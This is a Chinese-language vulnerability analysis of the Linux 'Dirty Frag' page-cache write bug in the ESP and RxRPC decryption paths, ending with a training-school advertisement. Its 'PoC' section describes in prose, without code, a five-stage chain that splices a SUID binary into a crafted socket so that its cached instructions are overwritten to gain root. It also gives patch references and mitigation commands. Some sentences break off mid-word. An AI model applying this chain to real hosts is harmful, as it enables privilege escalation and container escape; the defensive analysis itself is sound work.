Linux 操作系统采用页缓存机制来大幅加速文件系统的读写操作。当用户态进程读取磁盘上的文件时,内核会将文件内容加载到物理内存的“页”(通常为 4KB 大小)中,这些被缓存的物理页即为页缓存。如果多个进程读取同一个文件,它们将透明地共享同一块物理内存中的页缓存,从而极大地节省了系统内存开销并提升了并发读取效率。
在正常的权限控制与内存保护模型下,如果一个非特权进程以只读模式(Read-Only)打开文件,它只能读取这些页缓存,绝对无法进行修改。任何修改意图都必须通过内核的写时复制(Copy-On-Write, COW)机制进行处理:当内核检测到写入操作时,会为进程分配一个私有的内存页副本,所有的修改均在副本上进行,从而保护了原始页缓存的纯洁性和底层磁盘文件的完整性。Dirty Frag 漏洞的本质,正是攻击者找到了一条未被严密监控的“捷径”,绕过了写时复制机制,直接向驻留在内存中的只读文件页缓存中非法写入了恶意指令数据。
零拷贝技术、非线性数据包与 MSG_SPLICE_PAGES
为了满足万兆甚至更高速率网络的数据传输需求,减少用户态与内核态之间不必要的上下文切换,Linux 引入了 splice() 和 sendfile() 等零拷贝系统调用。零拷贝的核心理念是避免数据在“用户态缓冲区”和“内核态缓冲区”之间进行消耗 CPU 周期的无意义拷贝。
在网络传输层,内核使用 sk_buff(Socket Buffer)结构体来管理网络数据包。传统的 sk_buff 包含一个连续的数据区域(即线性区)。而在零拷贝路径中,内核会生成非线性的 sk_buff:即 sk_buff 的 frag 数组(片段数组)并不包含实际的数据内存拷贝,而是直接存储指向页缓存中现有物理页的指针或引用。
当应用程序通过 splice() 系统调用将一个文件发送到网络套接字,且在底层路径中使用了 MSG_SPLICE_PAGES 标志时,内核会将该文件的页缓存直接挂载到 sk_buff 的 frag 结构中。此时,这些物理页的“所有权(Ownership)”实际上并不属于网络协议栈,而是属于底层的文件系统或匿名内存映射。网络协议栈在处理这些引用的 sk_buff 时,应当严格将其视为“只读”数据,或在必须修改时显式调用 COW 机制创建私有副本。
密码学子系统的原地操作 (In-place Operation) 优化困境
在处理复杂的网络协议栈(如 IPsec 隧道或加密 RPC 调用)时,数据包的加密与解密是高度计算密集型的任务。为了追求极致的吞吐量和最低的延迟,内核网络开发者倾向于使用原地操作(In-place Operation)来进行密码学运算。原地操作意味着密码引擎直接在密文所在的原始内存地址上进行解密计算,并将生成的明文直接覆盖在原本的密文之上,从而彻底免除了分配新内存和进行数据拷贝的开销。
然而,原地操作的绝对前提是:内核必须在运算前百分之百地确保当前操作的内存区域是私有的且完全可写的。如果当前的 sk_buff 是非线性的,且其内部的 frag 指向的是外部拥有的页缓存(例如通过 splice 系统调用挂载的、其他进程正在使用的只读文件页),此时直接进行原地解密,就会导致解密后的数据(或被攻击者刻意构造的伪造密文)被内核自身强制写入到不该被修改的系统页缓存中。这种架构层面的假设失配,构成了整个漏洞利用链条中最核心的突破口。
漏洞家族的演进图谱:从 Dirty Pipe 到 Dirty Frag
分析 Dirty Frag 无法脱离其在安全发展史中的演进脉络。此类“页缓存污染(Page Cache Poisoning/Write)”漏洞已经形成了一个具有明显家族特征的攻击面,暴露出 Linux 内核在处理文件缓存与 I/O 缓冲区融合时的系统性脆弱。
Dirty Frag 与 Copy Fail 共享了完全相同的底层漏洞模型(Sink)和攻击原语,但 Dirty Frag 彻底摆脱了对 algif_aead 密码学模块的依赖 。这意味着,即使系统管理员在之前应对 Copy Fail 漏洞时已经通过黑名单禁用了 algif_aead 模块,系统依然完全暴露在 Dirty Frag 的威胁之下。
Dirty Frag 是一个高度复杂的复合型逻辑漏洞,它巧妙地利用了内核在处理 UDP 封装(UDP Encapsulation)和特定加密网络传输协议时的状态机缺陷。具体而言,该漏洞是由两个相互独立但原理高度一致的子缺陷构成的,攻击者只要能够触及其中任意一条代码路径,即可实现完整的权限提升。
xfrm-ESP 子系统缺陷分析 (Page-Cache Write)
xfrm 是 Linux 内核中负责实现 IPsec(IP 安全架构)的基础框架,而 ESP(Encapsulating Security Payload)是 IPsec 协议族中的核心组件,用于为网络层数据提供机密性、数据源验证和抗重放攻击保护。
自 2017 年 1 月提交的内核补丁 cac2661c53f3 开始,ESP 子系统的代码在处理接收到的网络数据包时,为了提升 UDP 封装下 ESP 数据包的处理性能,引入了一个致命的逻辑缺陷。在常规的、负责任的安全协议栈处理流程中,函数 skb_cow_data() 被强制调用,用来仔细检查 sk_buff 是否包含共享的或由外部持有的只读引用页(如通过 splice 挂载的页缓存)。如果发现存在此类引用,该函数会强制执行写时复制(COW),将数据拷贝到安全的私有内存中,以确保后续的解密覆写操作不会越界破坏系统状态。
然而,在 ESP-in-UDP 的无写时复制快速路径(no-COW fast path)中,内核代码的处理逻辑出现了偏差。esp_input 函数在某些特定的套接字状态下,错误地绕过了对 skb_cow_data() 的调用,并直接指令 crypto_authenc_esn_decrypt 函数在原始的 sk_buff 片段(frag)上执行极其危险的原地解密操作。
在一条经典的攻击路径中:攻击者首先通过 AF_INET6 等协议族建立一个配置了 UDP 封装特性的 IPsec 套接字。随后,攻击者调用 splice(),将一个高权限的 SUID 二进制文件(如 /usr/bin/su 或 /usr/bin/sudo)的只读页缓存直接拼接到该套接字的发送队列中,从而构造出一个带有 MSG_SPLICE_PAGES 标志、其片段指针直接指向目标文件页缓存的非线性数据包。当该数据包被发送并经由本地环回接口(Loopback)或底层路由重新进入接收端的快速路径时,ESP 解密例程盲目地假定当前 sk_buff 的认证标签区域(Tag area)和数据负载区域均是
RxRPC 子系统缺陷分析 (Page-Cache Write)
与 ESP 漏洞的成因如出一辙,第二个构成 Dirty Frag 的子漏洞隐藏在 AF_RXRPC 协议栈的深处。RxRPC 是一种专门为 Andrew File System (AFS) 及其相关分布式计算服务设计的远程过程调用(RPC)网络传输层协议。
自 2023 年 6 月的内核提交 2dc334f1a63a 引入以来,RxRPC 子系统中的 rxkad_verify_packet_1 函数便潜伏着一个类似的页缓存写入缺陷。在对接收到的 RxRPC 数据包进行完整性验证与解密时,该函数会调用 pcbc(fcrypt) 加密算法,对数据包执行高效率的原地单块解密(in-place single-block decrypt)。
如果攻击者针对该协议栈发起攻击,将一个受其完全控制且由 splice 系统调用映射的只读文件页缓存强行投递到 RxRPC 的接收处理链条中,解密引擎同样会绕过至关重要的 COW 机制,以不可阻挡的态势,强行在这些本不属于网络栈的外部物理页上覆盖解密后的字节流 。
漏洞逻辑的绝对稳定性:摆脱竞态条件的限制
在操作系统内核漏洞的利用历史中,类似于 Dirty COW(CVE-2016-5195)这样的经典提权漏洞,往往高度依赖于极为苛刻的精确时间窗口来引发竞态条件(Race Condition)。这种依赖性导致漏洞利用在不同 CPU 架构、系统负载或内核版本下的成功率波动极大,甚至频繁导致内核崩溃(Kernel Panic)。
相比之下,Dirty Frag 被安全界定义为一个异常纯粹的“确定性逻辑漏洞”(Deterministic Logic Bug)。在 Dirty Frag 的利用流程中,内存映射的创建、数据包的构造、套接字的发送与接收、以及最终解密函数的调用,其生命周期和执行流是严格确定且串行的。只要攻击者成功触发了带有 MSG_SPLICE_PAGES 标志的快速路径,并迫使内核调用对应的原地加密接口,数据覆写的动作就必定发生。这种冷酷的确定性赋予了该漏洞无与伦比的极高稳定性——其利用成功率在大多数环境下接近 100%,且几乎不会留下导致系统崩溃的内存破坏痕迹。这种特性使得 Dirty Frag 在实战环境
漏洞影响范围
Dirty Frag 漏洞的影响深度和覆盖广度在近年来的内核安全事件中实属罕见。它不仅横跨了长达近 9 年的 Linux 内核发布周期,波及了几乎所有已知的主流企业级操作系统,更对当前依赖内核隔离的云原生架构和多租户商业模式提出了根本性的挑战。
受影响版本与组件图谱
漏洞在内核代码树中的生存周期极长。公开的分析表明:
xfrm-ESP 页缓存污染缺陷: 自内核补丁提交 cac2661c53f3(2017 年 1 月)起,便已潜伏在代码中,这意味着近九年来发布的所有包含 IPsec 组件的内核均在其威胁笼罩之下 17。
RxRPC 页缓存污染缺陷: 自内核补丁提交 2dc334f1a63a(2023 年 6 月)引入,持续影响后续的所有上游内核版本 17。
下表详细汇总了已知受该漏洞直接影响的主流操作系统发行版:
令人极其忧虑的是,在漏洞曝光初期,即便是最新的主线 Linux 内核版本(例如 7.0.3-1 甚至刚发布的 7.0.4 候选版本)同样处于未修补状态,这意味着整个开源生态在一段时间内处于完全的“裸奔”状态。
Dirty Frag 的高危性不仅仅体现在桌面端或传统服务器上,其真正的灾难性影响在于其能够轻易瓦解现代云计算环境中的复杂隔离架构。
多租户共享主机架构的崩溃 在由 CloudLinux 等技术构建的共享主机(Web Hosting)环境中,成百上千个不相关的网站租户或小型企业共享同一个底层 Linux 内核以降低成本。Dirty Frag 允许一个仅拥有极低权限(如受限的 PHP 执行权限或 jailed shell)的恶意租户,通过运行一个简单的 Python 或 C 脚本,瞬间提权为 Root。一旦获取 Root 权限,攻击者即可肆意穿透隔离沙箱,直接访问、篡改或窃取同一物理节点上其他所有租户的数据库凭证、商业机密及用户隐私数据。
Kubernetes 集群的容器逃逸与横向接管 云原生 Kubernetes (K8s) 环境面临着同等级别的风险。如果集群中的工作负载(Pods)未配置极为严格的无特权沙箱机制(例如未通过 Sysctl 显式禁用 unprivileged_userns),攻击者在利用 Web 漏洞攻陷一个看似受限的普通业务容器后,可以利用 Dirty Frag 漏洞执行跨边界打击。由于页缓存机制在宿主机操作系统层面是全局共享的,攻击者能够在容器内部直接修改宿主机底层的基础二进制文件(如 /bin/bash 或 runc)。当宿主机的合法管理员或其他进程调用这些已被注入木马的文件时,攻击者便实现了从容器到宿主
CI/CD 流水线构建环境的风险 在诸如 GitHub Actions、GitLab CI、Jenkins 等持续集成与持续部署(CI/CD)环境中,平台需要频繁运行由外部开发者提交的、潜在不受信任的代码以进行编译和测试。恶意行为者可以通过提交经过伪装的恶意 Pull Request,在构建流水线的 Runner 节点中静默利用 Dirty Frag 提权。由于该漏洞无竞态、不导致崩溃,此类攻击极难被传统的异常检测机制捕获。提权成功后,攻击者可轻易窃取整个代码仓库的环境变量、生产环境的 API 密钥、代码签名证书及底层云基础设施的访问凭证,从而实施极具破坏性的供应链攻击。
漏洞复现
攻击构造分析
Dirty Frag 所提供的核心攻击原语是:有限但高度可控的任意页缓存写入能力(Controlled Arbitrary Write to Page Cache)。受限于内核加密模块内部固定结构和处理块大小的逻辑约束,攻击者或许无法在一次系统调用中写入数兆字节的连续数据。然而,在现代操作系统的二进制执行机制下,这种限制已无关紧要。攻击者只需精确计算偏移量,覆盖关键系统组件(如具有 SUID 标志的 /usr/bin/su、/usr/bin/passwd 二进制文件,或是核心动态链接库 libc.so)中的短短数个关键字节(例如 4 字节的跳转指令覆盖),便足以兵不血刃地彻底改变整个程序的执行
PoC 阶段性执行链路
阶段 1:环境评估与目标劫持锁定
攻击程序首先探测当前系统的架构与内核特性,并选择一个系统中广泛存在且具有 SUID 标志(允许程序以文件所有者即 root 权限运行)的目标文件(如 /usr/bin/su)。程序以普通的只读模式(O_RDONLY)安全打开该文件,并使用内存映射(mmap)技术或直接读取操作,精准定位需要被替换的目标机器指令的内存偏移量。
阶段 2:构建管道与映射 Splice 缓冲区
攻击程序在内存中实例化一个标准的 UNIX 管道(Pipe)。随后,调用 splice() 系统调用,指明将目标文件(/usr/bin/su)的对应文件描述符单向映射到该管道的输入端。在此关键步骤中,内核为追求效率,绝对不会复制任何底层文件数据,而是仅仅将指向该文件物理页缓存的内存管理指针装载到管道内核结构的环形缓冲区(Ring Buffer)内。
阶段 3:特殊套接字初始化与协议栈注入准备 攻击程序进而请求内核分配一个特定的网络套接字。在利用 ESP 漏洞分支的情况下,程序会实例化一个针对 UDP 封装模式的 AF_INET6(或 AF_INET)套接字,并隐蔽地配置相应的 IPsec 策略路由;若采取利用 RxRPC 分支的策略,则会直接创建一个 AF_RXRPC 类型的套接字体系 。
阶段 4:触发 MSG_SPLICE_PAGES 与致命的原地修改 此阶段是整个漏洞链的核心。攻击者使用支持零拷贝的高级网络发送函数(如 sendmsg),明确携带 MSG_SPLICE_PAGES 标志,将之前填充好的管道内容推送至底层的网络协议栈。内核网络子系统顺理成章地将这些源自管道的物理页引用,直接封装进网络数据包 sk_buff 结构的非线性片段数组(frag)中。
随后,当数据流经底层网络栈并进入接收端的数据处理逻辑时,esp_input 或 rxkad_verify_packet_1 函数拦截到了这些数据包。进入密码学处理阶段时,由于缺乏对内存所有权的边界感知,密码学引擎将攻击者在用户态预先控制的“伪造密文”或“状态参数”,通过原地解密(In-place Decryption)机制,直接、暴力地覆写到了那块原本被标记为只读的、属于目标二进制文件的页缓存上。
阶段 5:执行流篡改与权限接管 底层内存覆写瞬间完成。攻击程序随即调用常规的 execve() 系统调用,请求操作系统运行那个看似正常的 /usr/bin/su 文件 16。当内核加载该二进制文件并为其分配执行空间时,由于 Linux 的缓存机制,它直接命中了已经驻留在内存中并被严重污染的页缓存。原本用于执行密码验证逻辑的核心指令,在 CPU 执行时已被偷梁换柱为攻击者注入的反弹 Shell(Reverse Shell)指令或专门的提权 Shellcode。操作系统忠实地执行了这些最高权限指令,随之将一个具有完全 Root 权限的交互式终端拱手让给了底层的攻击者。
漏洞修复
鉴于 Dirty Frag 漏洞属于未经协调即被强制公开的严重 0-day 事件,全球 Linux 基金会、各大商业操作系统供应商以及网络安全机构在极短时间内启动了最高级别的联合应急响应。
官方内核源码修复方案分析
ESP 漏洞修补逻辑 (xfrm-ESP) 针对影响深远的 xfrm-ESP 子系统,Linux 上游的 netdev 代码树在紧急响应后合并了修复补丁,对应的代码提交 ID 为 f4c50a4034e62ab75f1d5cdd191dd5f9c77fdff4。 该修复方案的核心技术思路是:在协议栈深处彻底撤销不安全的内存就地操作假设,强制要求系统在网络层进入加密或解密例程之前,必须对非私有属性的内存页执行严格的写时复制(COW)或进行深度的内存所有权校验。补丁通过修改底层结构,确保了在调用 crypto_authenc_esn_decrypt 等需要高频修改数据缓冲区的密码学函数时,目标 s
RxRPC 漏洞修补逻辑 (AF_RXRPC) 针对第二个漏洞分支 RxRPC,相应的修复补丁已被提交至 Linux 内核邮件列表(LKML)进行严谨审查,其对应的技术讨论追踪标识为 afKV2zGR6rrelPC7@v4bel。该补丁全面重构了 rxkad_verify_packet_1 函数的缓冲区遍历与数据提取逻辑,从架构层面明令禁止密码学引擎在由外部传入的、属性未知的不可变页上直接启动 pcbc(fcrypt) 算法的单块解密运算。
各大主流企业级发行版(如 Ubuntu, AlmaLinux, RHEL, Debian)的系统工程师团队正加紧拉取上述上游补丁,并进行繁杂的向后移植(Backport)工作,以将其集成至各自维护的 LTS(长期支持)内核版本中。例如,注重安全响应的 AlmaLinux 已率先在 kernel-6.12.0-124.55.2.el10_1 等测试仓库版本的内核中集成了完整的防御修复。
生产环境应急响应与临时缓解策略
考虑到在复杂的企业数据中心和云基础设施中,大规模的内核升级和系统全局重启往往需要数周的调度窗口,安全响应团队必须在官方稳定版补丁部署前,立即实施非破坏性的临时缓解方案。
1. 阻断攻击路径:禁用受影响的内核模块 (Module Blacklisting)
由于漏洞的触发与利用过程严重依赖于特定底层网络协议栈模块的支撑,当前最直接、最快速且行之有效的缓解措施是阻止 esp4, esp6 和 rxrpc 这三个模块被内核守护进程动态加载至内存中。系统管理员可通过在系统的模块配置文件中写入虚拟的黑名单指令来实现拦截:
# 写入黑名单防护配置,并尝试强制卸载当前可能已加载的脆弱模块
sudo sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; true"
执行上述防护命令后,攻击者在用户态试图使用的恶意 PoC 将因无法请求创建相关的底层网络套接字结构而直接报错退出,原本畅通无阻的漏洞利用链条被硬性切断。此操作具备极高的实施效率(通常耗时不超过 10 秒),且全程无需重启系统服务。当后续应用了官方内核更新后,仅需删除 /etc/modprobe.d/dirtyfrag.conf 文件即可恢复系统原状。
黑名单策略的局限性与兼容性风险评估: 需要强调的是,禁用 esp4 和 esp6 模块将直接导致所有高度依赖内核数据路径的 IPsec 安全隧道(如通过 strongSwan 或 Libreswan 配置的企业级 VPN 节点)陷入瘫痪。同理,禁用 rxrpc 模块将导致那些依赖于 Andrew File System (AFS) 协议的分布式服务无法通信。然而,对于未开启此类隧道的绝大多数通用 Web 业务服务器、数据库集群或微服务节点而言,此方案是完全安全的(它不会对依赖其他机制的隧道协议如 Tailscale, WireGuard, OpenVPN 造成任何负面影响)。
在 AlmaLinux 等特定发行版中,rxrpc 模块可能仅通过特定的 kernel-modules-partner 扩展包提供,此时更彻底的解决方案是直接使用包管理器将其移除:
sudo dnf remove kernel-modules-partner
这能有效削减不必要的内核攻击面。
2. 消除既有威胁:清除被污染的页缓存 (Cache Eviction) 鉴于 Copy Fail 和 Dirty Frag 这类漏洞的特殊机制,它们仅仅修改了驻留在系统动态内存中的页缓存数据,由于巧妙避开了写回触发机制,并未将相应的物理页标记为“脏页”(Dirty,即需要被操作系统写回持久化存储的标志),因此底层磁盘上文件的真实物理内容往往并未受损。
然而,这引发了一个更隐蔽的风险:如果在安全人员介入、模块被禁用或网络阻断之前,系统就已经遭受了隐秘攻击,那么那些被植入了恶意逻辑的指令页可能依然潜伏在活跃的内存缓存中。因此,在实施任何访问控制后,必须通过内核接口强制系统清空缓存,迫使内核抛弃内存中的可疑数据,并在下一次文件访问时从安全的底层磁盘重新读取纯净的二进制数据块:
# 强制内核清空页缓存、目录项 (dentries) 和 inode 缓存
sudo sync && echo 3 | sudo tee /proc/sys/vm/drop_caches
清除缓存前依然可以成功:
清除缓存后失败:
将模块强制隔离与系统级缓存清理紧密结合,可以在缺乏官方有效内核补丁的高危时间窗口内,最大程度地夺回系统控制权并保障核心业务的安全运行。
云环境防御
内核热补丁技术 (Livepatching): 包括 CloudLinux 在内的主流企业级云服务提供商,通过其 KernelCare 等基础设施提供了非颠覆性的热补丁更新方案。这类技术允许运维团队在不中断当前运行进程、不牺牲系统高可用性(SLA)的前提下,将针对 Dirty Frag 的 CVE 修复逻辑直接动态注入到运行中的内核内存空间中,实现了对漏洞的瞬时无感阻断。
非特权用户命名空间限制 (User Namespaces Restriction): 对于无需运行 rootless 容器的普通业务系统,通过系统参数限制无特权用户的命名空间创建权限(如执行 echo 1 | sudo tee /proc/sys/kernel/apparmor_restrict_unprivileged_userns),能够在极大程度上收缩内核的复杂攻击面,阻断此类需要复杂环境构造的提权路径。
基于 eBPF 的无侵入式行为监控引擎: 针对该漏洞高度特征化的攻击行为,防御平台可编写并下发 eBPF(Extended Berkeley Packet Filter)探针,深入内核关键路径,实时监控程序调用 splice() 且目的端句柄指向 AF_INET6(配置为 UDP 封装状态)或 AF_RXRPC 协议等异常行为进程链。通过在运行时设置基于多维时序特征的异常序列检测模型,安全平台可以在漏洞真正触发文件覆写的前置阶段,提前捕获微小的异常状态并精准阻断恶意进程的执行。
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

